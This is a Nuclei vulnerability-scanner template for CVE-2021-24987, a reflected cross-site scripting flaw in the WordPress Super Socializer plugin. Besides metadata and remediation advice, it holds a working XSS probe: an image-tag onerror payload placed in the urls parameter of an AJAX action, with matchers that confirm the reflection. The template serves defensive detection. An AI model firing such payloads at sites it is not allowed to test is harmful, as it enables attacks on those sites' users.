nuclei-templates/http/cves/2021/CVE-2021-24987.yaml

50 lines
1.8 KiB
YAML

id: CVE-2021-24987
info:
name: WordPress Super Socializer <7.13.30 - Cross-Site Scripting
author: Akincibor
severity: medium
description: WordPress Super Socializer plugin before 7.13.30 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape the urls parameter in its the_champ_sharing_count AJAX action (available to both unauthenticated and authenticated users) before outputting it back in the response.
remediation: |
Update to the latest version of the WordPress Super Socializer plugin (7.13.30 or higher) to mitigate the vulnerability.
reference:
- https://wpscan.com/vulnerability/a14b668f-812f-46ee-827e-0996b378f7f0
- https://nvd.nist.gov/vuln/detail/CVE-2021-24987
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-24987
cwe-id: CWE-79
epss-score: 0.00086
epss-percentile: 0.36019
cpe: cpe:2.3:a:heateor:super_socializer:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
vendor: heateor
product: super_socializer
framework: wordpress
tags: cve,cve2021,wpscan,xss,wp,wp-plugin,wordpress
http:
- method: GET
path:
- '{{BaseURL}}/wp-admin/admin-ajax.php?action=the_champ_sharing_count&urls[]=<img%20src=x%20onerror=alert(document.domain)>'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '{"facebook_urls":[["<img src=x onerror=alert(document.domain)>"]]'
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 4a0a004730450220575babf37dd48c4a341dde34839d28ee7c6b645e308ab0f0a11995ebfc7f9dfe022100c083d16c32b0ed90929dd1e53bf0b8bbd4a0f3a619a997a7eb3ca4d062c06a79:922c64590222798bb761d5b6d8e72950